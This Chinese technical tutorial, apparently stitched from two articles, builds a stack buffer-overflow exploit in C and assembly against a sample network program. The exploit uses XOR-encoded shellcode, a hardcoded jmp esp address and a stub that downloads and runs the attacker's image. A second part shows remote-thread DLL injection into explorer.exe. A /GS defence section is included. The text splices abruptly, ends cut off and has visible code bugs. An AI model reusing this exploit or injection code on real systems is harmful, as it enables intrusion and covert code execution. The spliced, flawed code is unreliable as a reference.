    首先是是如何处理一些不允许出现在字符串中的字符。在上面的代码中，如果我们构造的字符串的某个字节是0或者“\”，GetComputerName就会拒绝拷贝后面的数据，所以在我们的“计算机名”中不能有任何一个字节是0或“\”。“\”可能还好说一点，但一段“真正能做点事情”的代码不包括0几乎是不可能的。怎么解决这个矛盾呢？最简单的方法是异或。先写好真正的代码并编译得到结果，我称它为stubcode。然后找一个数字n，要求①0≤n≤255；②n是允许出现在字符串中的字符；③n与stubcode的任何一个字节异或后都是允许出现的字符。用n与stubcode逐字节进行异或，得到异或结果。很明显，要找到这样一个n，stubcode就不能太长，只是做一些简单的准备工作，然后加载后续代码完成更多的工作，这也是我把它称为stubcode的原因。其实stubcode代码也需要一个stubcode，我们就把它称为stubstubcode吧，它的任务是用n与异或结果再逐字节异或一次来恢复stubcode的原貌，然后把控制权交给stubcode。stubstubcode非常短，只有20个字节左右，通过精心设计就可能避免在其中出现不允许的字符。
    由于前面的分析已经证明不可能在我们构造的字符串中放上一条“jmp esp”，并修改返回地址指向它，所以第二个难题就是到哪去找“jmp esp”指令了。你可能认为进程自身是首选，因为exe文件具有固定的装入地址，只要它包含这条指令，那么指令的地址就是确定的。但我不得不遗憾的告诉你，又错了。虽然exe的装入地址不会变，但这个地址一般较低，因而找到的“jmp esp”的地址的高字节肯定是0，它不是stubcode，我们没办法对它进行异或处理。如果你看过拙作《nt环境下进程隐藏的实现》，你肯定知道基本上每个进程都会加载kernel32.dll，且它的装入地址在同一操作系统平台上是固定的。而另一个重要事实是它的装入地址足够高，能够满足不含0字节这一要求。所以我们应该到kernel32.dll中去找。但是非常不幸，在我的winxp + sp1系统中，偌大的一个kernel32.dll，竟然没有一个“jmp esp”指令的藏身之地（我没有在其他系统上作过尝试，各位读者如有兴趣可以自己试一下）。我只好退而求其次，到user32.dll中去找了，它在系统中拥有仅次于kernel32.dll的地位。最终，我在地址0x77D437DB处发现了“jmp esp”的身影。
    第三个问题是如何在stubcode中调用API。《进程隐藏》一文中对此也有讨论，但情况与现在有一些不同，因为stubcode中没有现成的输入表，所以我们需要自己制作一个小的“输入表”作为stubcode的参数写到UNC字符串中，stubcode还需要其他一些参数，我把这些参数统称为stubparam。而把stubstubcode、stubparam、stubcode以及其它数据合起来构成的UNC字符串称为stub。当然，对stubparam也需要做异或处理以避免在其中出现非法字符。
    stubcode中也不能有直接寻址指令，原因很明显，解决办法也很简单（不让用就不用了:)），我就不再多说了。

攻击实例

    我们的攻击程序名叫“attacker”，攻击成功后，它将使victim进程弹出下面的消息框。  
    attacker供给的第一步是把stub（也就是UNC字符串）发送给victim，所以我们就先来看一下stub的构成，如下图所示： 
 
    其中，填充数据1用来填充返回地址前的所有内容，本例就是szComputer占用的空间；返回地址就是“jmp esp”指令的地址；填充数据2用来填充返回地址和stubstubcode之间的内容，本例是参数sck占用的空间；stubstubcode、stubparam和stubcode前面已经讲过；填充数据3则用于将stub打扮成正常字符串的样子，例如，补上结尾处的0字符等。
    为了使用更方便，我定义了几个结构来表示整个stub。你可以看到，它们被“#pragma pack”编译指令固定为一字节对齐，这很重要，因为它可以：①减小stub的大小。栈上可供使用的空间不多，所以stub越小越好；②阻止编译器插入用于对齐的额外字节。如果编译器在STUBSTUBCODE或STUB中插入了额外的字节，我们的一切努力都将付之东流。

#pragma pack(push) 
#pragma pack(1) 

struct STUBSTUBCODE 
{ 
    BYTE arrConst1[4]; //0x33, 0xC9, 0x66, 0xB9 
    WORD wXorSize; //需要进行异或处理的数据的大小 
    BYTE arrConst2[3]; //0x8D, 0x74, 0x24 
    BYTE byXorOffset; //需要进行异或处理的代码的起始位置(相对于esp的偏移) 
    BYTE arrConst3[4]; //0x56, 0x8A, 0x06, 0x34 
    BYTE byXorMask; //使用此数字进行异或 
    BYTE arrConst4[8]; //0x88, 0x06, 0x46, 0xE2, 0xF7, 0x8D, 0x44, 0x24 
    BYTE byEntryOffset; //STUBCODE代码的入口地址(相对于esp的偏移) 
    BYTE arrConst5[2]; //0xFF, 0xD0 
}; 

struct STUBPARAM 
{ 
    FxLoadLibrary fnLoadLibrary; 
    FxGetProcAddr fnGetProcAddr; 
    FxVirtualAlloc fnVirtualAlloc; 
    DWORD dwImageSize; 
    DWORD rvaAttackerEntry; 
    char szWs2_32[11]; //ws2_32.dll 
    char szSocket[7]; //socket 
    char szBind[5]; //bind 
    char szListen[7]; //listen 
    char szAccept[7]; //accept 
    char szSend[5]; //send 
    char szRecv[5]; //recv 
}; 

struct STUB 
{ 
    BYTE arrPadding1[18]; 
    DWORD dwJmpEsp; 
    BYTE arrPadding2[4]; 
    STUBSTUBCODE ssc; 
    STUBPARAM sp; 
    BYTE arrStubCode[1]; //实际上，这是一个变长数组 
}; 

#pragma pack(pop)

    STUBSTUBCODE对应的就是本文开头提到的11条汇编语句。参照stub的整体结构，我们不难写出它的具体实现。

         xor ecx, ecx 
         mov cx, wXorSize; wXorSize是要进行异或处理的数据的大小 
         lea esi, [esp+ byXorOffset]; byXorOffset是需要进行异或处理的代码的起始位置 
         push esi 
xormask: mov al, [esi] 
         xor al, byXorMask; 使用byXorMask进行异或 
         mov [esi], al 
         inc esi 
         loop xormask 
         lea eax, [esp + byEntryOffset]; byEntryOffset 是StubCode的入口地址 
         call eax 

    其中的几个变量实际上要用常数替代，wXorSize是要进行异或处理的数据的大小，也就是stubparam和stubcode的大小的和；byXorOffset是这些数据的起始位置相对于esp寄存器的偏移，从结构图中可以看出它等于“sizeof(STUBSTUBCODE)”，同时，它加上esp后就是STUBPARAM的地址，我们要把这个地址传给stubcode，所以立即把它压进了栈中，具体请见下面的相关内容；byXorMask是异或掩码，也就是前面提到的数字n；byEntryOffset是stubcode的入口相对于esp寄存器的偏移，它等于“sizeof(STUBSTUBCODE)+ sizeof(STUBPARAM)+4”，多加一个4是因为前面又向栈里压了一个数。这段代码的前两句没用更直接的“mov ecx, wXorSize”则是为了避免出现0字符。
    把代码和结构体对比一下，看明白了吧!结构体中的几个数组对应的是汇编代码中固定不变的部分，变量则是需要经常修改的部分。这种定义让我们有机会动态修改stubstubcode，减少手工的代码维护工作。
    STUBPARAM定义的是要传递给stubcode的参数，它比较简单，相信你看完后面对stubcode的介绍，就能明白各成员的含义和作用了。其中所有以“Fx”为前缀的数据类型都是其相应函数的指针类型，后文还会遇到。
    在STUB中，我给了第一个填充数组18字节的空间，多出来的两字节用来存储UNC字符串中打头的“\\”，本例中这并不是必须的。而arrStubCode虽然看上去只有一字节长，却是一个变长数组，保存的是结构图中的stubcode和填充数据3。
    下面我们就进入stub的最后一部分，也是最重要的一部分：stubcode，代码如下。

void WINAPI StubCode(STUBPARAM* psp) 
{ 
    HINSTANCE hWs2_32=psp->fnLoadLibrary(psp->szWs2_32); 
    FxGetProcAddr fnGetProcAddr = psp->fnGetProcAddr; 
    Fxsocket fnsocket = (Fxsocket)fnGetProcAddr(hWs2_32,psp->szSocket); 
    Fxbind fnbind = (Fxbind)fnGetProcAddr(hWs2_32,psp->szBind); 
    Fxlisten fnlisten = (Fxlisten)fnGetProcAddr(hWs2_32,psp->szListen); 
    Fxaccept fnaccept = (Fxaccept)fnGetProcAddr(hWs2_32,psp->szAccept); 
    Fxsend fnsend = (Fxsend)fnGetProcAddr(hWs2_32,psp->szSend); 
    Fxrecv fnrecv = (Fxrecv)fnGetProcAddr(hWs2_32,psp->szRecv); 

    BYTE* buf= (BYTE*)psp->fnVirtualAlloc(NULL,psp->dwImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
    SOCKET sckListen = fnsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
    struct sockaddr_in saServer; 
    saServer.sin_family = AF_INET; 
    saServer.sin_port = 0x3930; //htons(12345) 
    saServer.sin_addr.s_addr = ADDR_ANY; 
    fnbind(sckListen, (sockaddr *)&saServer, sizeof(saServer)); 
    fnlisten(sckListen, 2); 
    SOCKET sckClient = fnaccept(sckListen, NULL, 0); 

    fnsend(sckClient, (const char*)(&buf), 4, 0); 
    DWORD dwBytesRecv = 0; 
    BYTE* pos = buf; 
    while(dwBytesRecv <psp->dwImageSize) 
    {  
        dwBytesRecv += fnrecv(sckClient, (char*)pos, 1024, 0); 
        pos = buf + dwBytesRecv; 
    } 

    FxAttackerEntry fnAttackerEntry = (FxAttackerEntry)(buf +psp->rvaAttackerEntry); 
    fnAttackerEntry(buf, psp->fnLoadLibrary,psp->fnGetProcAddr); 
} 

void StubCodeEnd(){} //this function marks the end of stubcode 

    stubcode先用LoadLibrary得到ws2_32.dll的句柄，然后通过GetProcAddress获得几个API函数的入口地址。接着它用VirtualAlloc分配了dwImageSize大小的内存，这块内存有什么用呢？原来，同《进程隐藏》一样，我们要向victim进程中注入另一个PE文件——其实就是attacker自己——的映像，所以，这块内存就是保存映像的空间，而dwImageSize也就是这个映像的大小。之后它开始在12345端口上侦听，直到接到attacker连接请求。
    与attacker建立连接后，StubCode会立即将刚才分配的内存的起始地址发过去，attacker要根据这个地址对自身的一个拷贝进行重定位，然后将它发回StubCode。StubCode则把这个拷贝接收到刚才分配的内存中去。Attacker还有另外一个函数“AttackerEntry”，rvaAttackerEntry就是这个函数与attacker的装入地址的距离。通过这个距离，StubCode就可以在attacker的拷贝中找到AttackerEntry的入口，从而把控制权转交给它。至此，StubCode就完成了自己的使命。
    代码中使用LoadLibrary和GetProcAddress方式你不陌生吧？如果真的看不明白，请读一下《进程隐藏》。VirtualAlloc也位于kernel32.dll，所以我就照方抓药了。
    上面的代码里还有一个空函数“StubCodeEnd”，虽然表面上什么也没做，但它却有一个非常重要的任务：我要用它来计算StubCode这个函数占了多少内存，并据此计算出整个stub的大小。用下面的方法就行了：
int nStubCodeSize = (int)(((DWORD)StubCodeEnd) - ((DWORD)StubCode));
我没有从官方资料上找到可以这么做的依据，但在我的环境中，它确实工作的很好！
    有了stub，我们还需要一些代码对其进行填充并注入到victim中去。注入过程只是简单的网络通讯，就不讲了，单看数据填充。

BOOL PrepareStub(STUB* pStub) 
{ 
    //copy const data 
    memcpy(pStub, &g_stub, sizeof(STUB)); 
    //prepare stub code param 
    pStub->dwJmpEsp= 0x77D437DB; //这几个地址适用于 
    pStub->sp.fnLoadLibrary= 0x77E5D961; //victim程序运行在 
    pStub->sp.fnGetProcAddr= 0x77E5B332; //winxp pro + sp1 系统上 
    pStub->sp.fnVirtualAlloc= 0x77E5AC72; //的情况 
    pStub->sp.dwImageSize= GetImageSize((LPCBYTE)g_hInst); 
    pStub->sp.rvaAttackerEntry = ((DWORD)AttackerEntry) - ((DWORD)g_hInst); 

    //copy stub code 
    int nStubCodeSize = (int)(((DWORD)StubCodeEnd) - ((DWORD)StubCode)); 
    memcpy(pStub->arrStubCode, StubCode, nStubCodeSize); 

    //find xor mask 
    int nXorSize = (int)(sizeof(STUBPARAM) + nStubCodeSize); 
    LPBYTE pTmp = (LPBYTE)(&(pStub->sp)); 
    BYTE byXorMask = GetXorMask(pTmp, nXorSize, (LPCBYTE)g_arrDisallow,  
        sizeof(g_arrDisallow)/sizeof(g_arrDisallow[0])); 
    if(byXorMask == g_arrDisallow[0]) 
        return FALSE; 
    //xor it 
    for(int i=0; i<nXorSize; i++) 
        *(pTmp+i) ^= byXorMask; 

    //fill stubstubcode 
    pStub->ssc.wXorSize= (WORD)nXorSize; 
    pStub->ssc.byXorMask= byXorMask; 

    //Does the stubstubcode contains a disallowed char? 
    pTmp = (LPBYTE)(&(pStub->ssc)); 
    for(i=0; i<sizeof(STUBSTUBCODE); pTmp++, i++) 
        for(int j=0; j<sizeof(g_arrDisallow)/sizeof(g_arrDisallow[0]); j++)  
            if(*pTmp == g_arrDisallow[j]) 
                return FALSE; 
    //make it an "valid" file name the victim wants 
    strcpy((char*)(&(pStub->arrStubCode[nStubCodeSize])), g_szStubTail); 
    return TRUE; 
}

    其中，pStub指向一块事先分配的内存区，其大小是计算好的，绝对不会超支（我们是干这行的，肯定得先把自身的问题解决好:)）；g_stub是一个STUB类型的全局变量，保存了stub中固定不变的数据；g_hInst是attacker的进程的句柄，以它为参数调用GetImageSize就能得到attacker的内存映像的大小；g_arrDisallow是一个字符数组，里面是所有不允许出现的字符。
    GetXorMask用于计算对stubparam和stubcode进行异或处理的掩码，代码如下：

BYTE GetXorMask(LPCBYTE pData, int nSize, LPCBYTE arrDisallow, int nCount) 
{ 
    BYTE arrUsage[256], by = 0; 
    memset(arrUsage, 0, sizeof(arrUsage)); 
    for(int i=0; i<nSize; i++) 
        arrUsage[*(pData + i)] = 1; 
    for(i=0; i<256; i++) 
    { 
        by = (BYTE)i; 
        //xor mask can not be a disallowed char 
        for(int j=0; j<nCount; j++) 
            if(arrDisallow[j] == by) 
                break; 
        if(j < nCount) 
            continue; 
        //after xor, the data should not contain a disallowed char 
        for(j=0; j<nCount; j++) 
            if(arrUsage[arrDisallow[j] ^ by] == 1) 
                break; 
        if(j >= nCount) 
            return by; 
    } 
    //we don't find it, return the first disallowed char for an error 
    return arrDisallow[0]; 
}

    异或处理完毕后，PrepareStub要根据动态计算出来的数据，修改stubstubcode。由于数据是动态算出来的，所以需要对最终的stubstubcode做一个检查，看里面有没有不允许的字符。最后，它用g_szStubTail把stub填充为一个完整地UNC字符串，整个stub的准备工作宣告完成。
    前面已经说过，stubcode的任务是在victim中建立一个attacker的映像，然后把控制权交给它里边的AttackerEntry函数。因而attacker的第二步工作是把自身的一个拷贝重定位后，发给stubcode。下面的代码就来完成这些任务：

    …
    DWORD dwNewBase, dwSize; 
    LPBYTE pImage; 
    recv(sck, (char*)(&dwNewBase), sizeof(DWORD), 0); 
    dwSize = GetImageSize((LPCBYTE)g_hInst); 
    pImage = (LPBYTE)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); 
    memcpy(pImage, (const void*)g_hInst, dwSize); 
    RelocImage(pImage, (DWORD)g_hInst, dwNewBase); 
    DoInject(sck, pImage, dwSize); 
    …

    attacker先从stubcode中获得它分配的内存的起始地址，这个地址就是attacker在victim中的映像基址。然后attacker把自身复制一份，并按照新的映像基址对这个拷贝进行重定位，RelocImage的代码与《进程隐藏》中的基本相同，这里不再重复。但要注意：默认情况下，链接器不会为EXE文件生成重定位表。所以链接attacker时，要加上参数“/FIXED:No”，强制链接器生成重定位表。DoInject完成数据发送，也是简单的网络通讯，所以略过不讲。
    在victim中，控制权最终会传递到下面这个函数的手中。

void WINAPI AttackerEntry(LPBYTE pImage, FxLoadLibrary fnLoadLibrary, 
        FxGetProcAddr fnGetProcAddr) 
{ 
    g_hInst = (HINSTANCE)pImage; 
    if(LoadImportFx(pImage, fnLoadLibrary, fnGetProcAddr)) 
        AttackerMain(g_hInst); 
    ExitProcess(0); 
}

    它同《进程隐藏》里的ThreadEntry很像，最大的不同是最后调用ExitProcess结束了victim的生命。这很好理解，victim的栈经过一系列的攻击之后，已经面目全非了，如果让AttackerEntry正常返回，victim肯定会弹出一个提示出现非法操作的对话框。我们在做“坏事”，不希望被发现，所以让victim悄无声息的退出无疑是最佳选择。
    LoadImportFx和《进程隐藏》中的完全一致，也不再重复。至于AttackerMain，我的是下面的样子。你的——自己去发挥吧，但请切记你要为你所作的一切负责！

DWORD WINAPI AttackerMain(HINSTANCE hInst) 
{ 
    TCHAR szName[64], szMsg[128]; 
    GetModuleFileName(NULL, szName, sizeof(szName)/sizeof(TCHAR)); 
    _stprintf(szMsg, _T("进程\"%s\"存在缓冲区溢出漏洞,赶紧打补丁吧!"), szName); 
    MessageBox(NULL, szMsg, _T("哈哈"), MB_OK|MB_ICONINFORMATION); 
    return 0; 
}

防御措施

    有攻就有防，缓冲区溢出危害虽大，防起来却不难。最简单有效的方法莫过于写代码时小心一点了。比如在victim中，如果我们多传递给GetComputerName一个参数来标志缓冲区的长度，并在GetComputerName进行检查，那么悲剧就能避免了。
    如果你比较懒，不想做这些琐事，编译器也能帮你。从vs.net开始，编译器支持了一个新的选项：/GS。打开它后，编译器就会检查每一个函数是否有发生溢出的可能。如果有，它就向这个函数中插入检测代码，比如前面的ShowComputerName经过处理后就会变成类似下面的样子。其中__security_cookie是编译器插入程序的一个全局变量，进程启动时，会根据大量信息使用哈希算法对它进行初始化，所以它的值具有很好的随机性（具体的初始化过程请见“seccinit.c”）。

void ShowComputerName(SOCKET sck) 
{ 
    DWORD_PTR cookie = __security_cookie;        //编译器插入的代码 
    char szComputer[16]; 
    RecvComputerName(sck, szComputer); 
    printf(szComputer); 
    __security_check_cookie(cookie);            //编译器插入的代码 
}

    如代码所示，进入ShowComputerName后，程序所作的第一件事就是把__security_cookie 的值复制一份到局部变量cookie中。注意：cookie是ShowComputerName的第一个局部变量，所以它在栈中的位置是在返回地址和其它局部变量之间，如果拷贝字符串到szComputer中时发生了缓冲区溢出，cookie肯定先于返回地址被覆盖，而它的新值几乎没有可能继续与__security_cookie相同，因而函数最后的__security_check_cookie就可以使用下面的代码检测溢出了（这段代码其实不是给x86 cpu用的，但它更易理解，且逻辑上没有区别，具体请见“secchk.c”）。

void __fastcall __security_check_cookie(DWORD_PTR cookie) 
{ 
    /* Immediately return if the local cookie is OK. */ 
    if (cookie == __security_cookie) 
        return; 
    /* Report the failure */ 
    report_failure(); 
}

    整个实现非常之简洁高效，不信就请试一下看看效果。但这种机制也有不足，一是检测到溢出后就会使程序终止运行；二是不能检测所有的溢出，还有漏网之鱼。具体就请参考相关资料和做实验吧。

谁之过

    据说已发现的安全漏洞中有50%以上根缓冲区溢出有关，我们姑且不管这一数字是否准确，但它确实说明缓冲区溢出给计算机世界造成的危害的严重性。而人们也普遍认为是因为程序员的“不小心”才会有这么多的漏洞。但责任真的都应该程序员来负吗？我觉得不然。首先，x86 cpu的设计就有一些问题：函数的返回地址和普通数据放在同一个栈中，给了攻击者覆盖返回地址的机会；而栈从高地址向低地址的增长方向又大幅提高了这一几率。其次，c标准库设计时对内存占用和执行效率的斤斤计较又造就了许多类似strcpy的危险函数。当然，我并不想指责它们的设计者，我也没有资格，我只是想更深入的和大家讨论一下缓冲区溢出问题。如果您有其他看法，欢迎和我交流。

基础知识

        让自己的代码作为宿主进程的线程，在宿主进程的地址空间中执行确实是个不错的主意。但是要自己把程序放到其他进程的地址空间中去运行，将面临一个严峻的问题：如何实现代码重定位。关于重定位问题，请看下面的程序：

… 
int func()        //函数func的定义 
… 
int a = func();   //对func的调用 
…  

    这段程序经过编译链接后，可能会变成下面的样子：

… 
0x00401800: push ebp         //这是函数func的入口 
0x00401801: mov ebp, esp 
… 
0x00402000: call 00401800    //对函数func的调用 
0x00402005: mov dword ptr [ebp-08], eax 
… 

… 
0x00801800: push ebp         //这是函数func的入口 
0x00801801: mov ebp, esp 
… 
0x00802000: call 00401800    //00401800处是什么? 
0x00802005: mov dword ptr [ebp-08], eax 
… 

//fnLoadLibrary和fnGetProcAddress分别指向Windows API函数LoadLibraryW和GetProcAddress 
typedef int (WINAPI *FxMsgBox)(HWND, LPCWSTR, LPCTSTR, UINT); 
… 
HMODULE hUser32 = fnLoadLibrary(L"User32.dll"); 
FxMsgBox fnMsgBox = (FxMsgBox)(fnGetProcAddress(hUser32, "MessageBoxW")); 
fnMsgBox(…); 
…  

    那它们为什么不使用更简便的隐式链接呢？原来，要隐式链接dll并调用其中的输出函数，首先必须保证程序运行时dll已经被装入，否则就会出错。其次，调用API函数的指令格式一般是：call dword ptr [xxxxxxxx]，要让程序正常运行，就必须在调用前在地址xxxxxxxx处填入目标函数的入口地址。程序正常装入时，系统会保证这两点。但是要自己装入程序，保证这两点就有一些麻烦，所以它们一般使用显式链接来绕过这两个问题。
    如果你不在乎为每一个API使用一个typedef和一个GetProcAddress的话（也许还有一个LoadLibrary），使用显式链接就已经足够好了。但是设想一下实际情况吧：你的代码中调用几十乃至数百个API的情况是很常见的，为每一个API写这些重复性的代码将使编程毫无乐趣可言，所以，我们一定要解决那两个问题，从而使用隐式链接。我们处理隐式链接问题的思路和前面处理重定位问题时是一样的，即：替系统来完成工作，在远程线程代码调用第一个API之前，装入dll并填好相关入口地址。

//摘自WINNT.H 
typedef struct _IMAGE_IMPORT_DESCRIPTOR { 
    union { 
       DWORD Characteristics; 
       DWORD OriginalFirstThunk; 
    }; 
    DWORD TimeDateStamp; 
    DWORD ForwarderChain; 
    DWORD Name; 
    DWORD FirstThunk; 
} IMAGE_IMPORT_DESCRIPTOR; 

    还是先来学习一下基础知识—PE文件的输入表。输入表记录了一个Win32程序隐式加载的所有dll的文件名及从中引入的API的函数名，通过PE文件头的数据目录中的第二个IMAGE_DATA_DIRECTORY，我们可以获得输入表的位置和大小。实际上，输入表是一个由IMAGE_IMPORT_DESCRIPTOR结构组成的数组，每个结构对应一个需要隐式加载的dll文件，整个输入表以一个Characteristics字段为0的IMAGE_IMPORT_DESCRIPTOR结束。上面就是IMAGE_IMPORT_DESCRIPTOR结构的定义。
    其中的Name字段是一个RVA，指向此结构所对应的dll的文件名，文件名是以NULL结束的字符串。在PE文件中，OriginalFirstThunk和FirstThunk都是RVA，分别指向两个内容完全相同的IMAGE_THUNK_DATA结构的数组，每个结构对应一个引入的函数，整个数组以一个内容为0的IMAGE_THUNK_DATA结构作为结束标志。IMAGE_THUNK_DATA结构定义如下：

//摘自WINNT.H 
typedef struct _IMAGE_THUNK_DATA32 { 
    union { 
       DWORD ForwarderString; // PBYTE 
       DWORD Function; // PDWORD 
       DWORD Ordinal; 
       DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME 
    } u1; 
} IMAGE_THUNK_DATA32; 
typedef IMAGE_THUNK_DATA32 IMAGE_THUNK_DATA;  

    从上面的定义可以看出，完全能够把IMAGE_THUNK_DATA结构当作一个DWORD使用。当这个DWORD的最高为是1时，表示函数是以序号的形式引入的；否则函数是以函数名的形式引入的，且此DWORD是一个RVA，指向一个IMAGE_IMPORT_BY_NAME结构。我们可以使用在WINNT.H中预定义的常量IMAGE_ORDINAL_FLAG来测试最高位是否为1。IMAGE_IMPORT_BY_NAME结构定义如下：

 //摘自WINNT.H 
typedef struct _IMAGE_IMPORT_BY_NAME { 
    WORD Hint; 
    BYTE Name[1]; 
} IMAGE_IMPORT_BY_NAME;

    其中Hint字段的内容是可选的，如果它不是0，则它也表示函数的序号，我们编程是不必考虑它。虽然上面的定义中Name数组只包含一个元素，但其实它是一个变长数组，保存的是一个以NULL结尾的字符串，也就是函数名。      
    也许上面的解释已经把你弄得头晕脑涨了，来看看下面的导入表的实际结构吧，希望下图能帮你清醒一下：

 
    光看前面的讲解中，你也许会有一个疑问：既然OriginalFirstThunk和FirstThunk指向的内容完全一样，只用一个不就行了吗？好了，不要再怀疑Windows的设计者了，在PE文件中它们确实是一样的，但是当文件被装入内存后，差别就出现了：OriginalFirstThunk的内容不会变，但FirstThunk里数据却会变成与其相对应的函数的入口地址。内存中的输入表结构如下图所示：

 
    事实上，前面提到的call dword ptr [xxxxxxxx]指令中的xxxxxxxx就是FirstThunk中的一个IMAGE_THUNK_DATA的地址，而这个IMAGE_THUNK_DATA在装入完成之后保存的就是与其对应的函数的入口地址。知道动态链接是怎么回事了吧！

typedef HMODULE (WINAPI *FxLoadLibrary)(LPCSTR lpFileName); 
typedef FARPROC (WINAPI *FxGetProcAddr)(HMODULE hModule, LPCSTR lpProcName); 
typedef struct tagTHREADPARAM 
{ 
    FxLoadLibrary fnLoadLibrary; 
    FxGetProcAddr fnGetProcAddr; 
    LPBYTE pImageBase; 
}THREADPARAM, *PTHREADPARAM; 

    我们先来看装载器程序。这里面还会涉及到其他一些PE文件格式方面的内容，限于篇幅，我将不再详细介绍，请读者参考相关资料。同时，为了使程序更加短小，我假设它从不出错，去掉了所有用于错误处理的代码。
    首先介绍一下程序中用到的全局变量和常数。其中“_pinh”指向嵌入装载器的dll的PE文件头，供需要的地方使用。之后的四个宏是为了以后程序书写方便而定义，“IMAGE_SIZE”表示dll的映像大小，也就是需要在宿主进程中开辟多大的内存空间；“RVA_EXPORT_TABEL”表示dll输出表的RVA地址；“RVA_RELOC_TABEL”表示dll重定位表的RVA地址；“PROCESS_OPEN_MODE”表示打开宿主进程的方式，只有按这种方式打开，我们才能完成所有必需的工作。

static PIMAGE_NT_HEADERS _pinh = NULL; 
#define IMAGE_SIZE (_pinh->OptionalHeader.SizeOfImage) 
#define RVA_EXPORT_TABEL (_pinh->OptionalHeader.DataDirectory[0].VirtualAddress) 
#define RVA_RELOC_TABEL (_pinh->OptionalHeader.DataDirectory[5].VirtualAddress) 
#define PROCESS_OPEN_MODE (PROCESS_CREATE_THREAD|PROCESS_VM_WRITE|PROCESS_VM_OPERATION) 

    下面是主函数的定义，从中我们可以看到大致的工作步骤，注释中的序号标明了每一步的开始位置。

int APIENTRY _tWinMain(HINSTANCE hInst, HINSTANCE, LPTSTR lpCmdLine, int nCmdShow) 
{ 
    LPTHREAD_START_ROUTINE pEntry = NULL; 
    PTHREADPARAM pParam = NULL; 
    LPBYTE pImage = (LPBYTE)MapRsrcToImage(); //① 
    DWORD dwProcessId = GetTargetProcessId(); //② 
    HANDLE hProcess = OpenProcess(PROCESS_OPEN_MODE, FALSE, dwProcessId); 
    LPBYTE pInjectPos = (LPBYTE)VirtualAllocEx(hProcess, NULL, IMAGE_SIZE, 
    MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
    PrepareData(pImage, pInjectPos, (PVOID*)&pEntry, (PVOID*)&pParam); //③ 
    WriteProcessMemory(hProcess, pInjectPos, pImage, IMAGE_SIZE, NULL); //④ 
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pEntry, pParam, 0, NULL); 
    CloseHandle(hThread); //⑤ 
    CloseHandle(hProcess); 
    VirtualFree(pImage, 0, MEM_RELEASE); 
    return 0; 
}  

    第①步：将资源中的dll文件映射到内存，形成映像。这一步由函数MapRsrcToImage完成。它首先将打开资源中的dll，找到dll的PE文件头并让全局变量_pinh指向它。然后，它再根据文件头中的SizeOfImage字段在装载器进程（为求方便，我们的数据准备工作都在装载器进程中实现，只是到最后，才把准备好的数据一次性写入宿主进程）中开辟足够的内存空间用于存放dll的内存映像。把dll映射到内存的操作是以节为单位来进行的，PE文件中的节表（IMAGE_SECTION_HEADER）提供了每个节的大小、在文件中的位置和要放到内存中的位置（RVA）等信息。文件头不属于任何节，我们把它的数据放到内存区的起始位置（这样做是有原因的，将在介绍dll程序时说明）。

static LPBYTE MapRsrcToImage() //将资源中的DLL映射到内存 
{ 
    HRSRC hRsrc = FindResource(NULL, _T("rtdll"), _T("RT_DLL")); 
    HGLOBAL hGlobal = LoadResource(NULL, hRsrc); 
    LPBYTE pRsrc = (LPBYTE)LockResource(hGlobal); 
    _pinh = (PIMAGE_NT_HEADERS)(pRsrc + ((PIMAGE_DOS_HEADER)pRsrc)->e_lfanew); 
    LPBYTE pImage = (LPBYTE)VirtualAlloc(NULL, IMAGE_SIZE, MEM_COMMIT, PAGE_READWRITE); 
    DWORD dwSections = _pinh->FileHeader.NumberOfSections; 
    DWORD dwBytes2Copy = (((LPBYTE)_pinh) - pRsrc) + sizeof(IMAGE_NT_HEADERS); 
    PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)(pRsrc + dwBytes2Copy); 
    dwBytes2Copy += dwSections * sizeof(IMAGE_SECTION_HEADER); 
    memcpy(pImage, pRsrc, dwBytes2Copy); 
    for(DWORD i=0; i>dwSections; i++, pish++) 
    { 
        LPBYTE pSrc = pRsrc + pish->PointerToRawData; 
       LPBYTE pDest = pImage + pish->VirtualAddress; 
       dwBytes2Copy = pish->SizeOfRawData; 
       memcpy(pDest, pSrc, dwBytes2Copy); 
    } 
    _pinh = (PIMAGE_NT_HEADERS)(pImage + ((PIMAGE_DOS_HEADER)pImage)->e_lfanew); 
    return pImage; 
}

    第②步：打开宿主进程，并在其中开辟用于写入数据的内存空间。这一步比较简单，其中函数GetTargetProcessId用于获取explorer.exe的进程ID。

static DWORD GetTargetProcessId() //取得explorer进程的pid 
{  
    DWORD dwProcessId = 0; 
    HWND hWnd = FindWindow(_T("Progman"), _T("Program Manager")); 
    GetWindowThreadProcessId(hWnd, &dwProcessId); 
    return dwProcessId; 
} 

    第③步：准备好要写入宿主进程的数据。这一步要把①中建立的dll映像根据②中开辟的存储空间的基址进行重定位，为线程准备参数，并计算线程的入口地址。

static void PrepareData(LPBYTE pImage, LPBYTE pInjectPos, PVOID* ppEntry, PVOID* ppParam) 
{ 
    LPBYTE pRelocTbl = pImage + RVA_RELOC_TABEL; 
    DWORD dwRelocOffset = (DWORD)pInjectPos - _inh.OptionalHeader.ImageBase; 
    RelocImage(pImage, pRelocTbl, dwRelocOffset); 
    PTHREADPARAM param = (PTHREADPARAM)pRelocTbl; 
    HMODULE hKernel32 = GetModuleHandle(_T("kernel32.dll")); 
   param->fnGetProcAddress=(FxGetProcAddress)GetProcAddress(hKernel32,"GetProcAddress"); 
    param->fnLoadLibrary= (FxLoadLibrary)GetProcAddress(hKernel32, "LoadLibraryA"); 
   param->pImageBase = pInjectPos; 
    *ppParam = pInjectPos + RVA_RELOC_TABEL; 
    *ppEntry = pInjectPos + GetEntryPoint(pImage); 
} 

    首先，它根据实际装入地址和建议地址计算出要加到重定位数据上去的数值，然后调用函数RelocImage进行重定位操作。RelocImage主要是根据我们前面介绍的重定位表的结构来对dll映像进行重定位。看了RelocImage的代码，你是不是感到有些惊讶？我们费了那么多气力来说明重定位问题，但实现它却只需要这么几行程序！其实这说明了一点：PE文件格式设计得非常简洁，我们完全没必要对它有恐惧感。后面处理隐式链接的代码将再次证明这一点。

static void RelocImage(PBYTE pImage, PBYTE pRelocTbl, DWORD dwRelocOffset) 
{ 
    PIMAGE_BASE_RELOCATION pibr = (PIMAGE_BASE_RELOCATION)pRelocTbl; 
    while(pibr->VirtualAddress != NULL) 
    { 
